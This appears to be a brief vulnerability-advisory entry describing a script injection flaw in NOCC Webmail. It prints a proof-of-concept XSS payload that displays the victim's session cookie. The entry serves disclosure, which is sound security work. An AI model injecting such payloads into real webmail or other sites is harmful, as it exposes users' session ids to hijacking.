• info
• discussion
• exploit
• solution
• references

NOCC Webmail Script Injection Vulnerability

The following proof of concept script was provided by ppp-design:

<script>alert(document.cookie)</script>

This will show the victim's session id.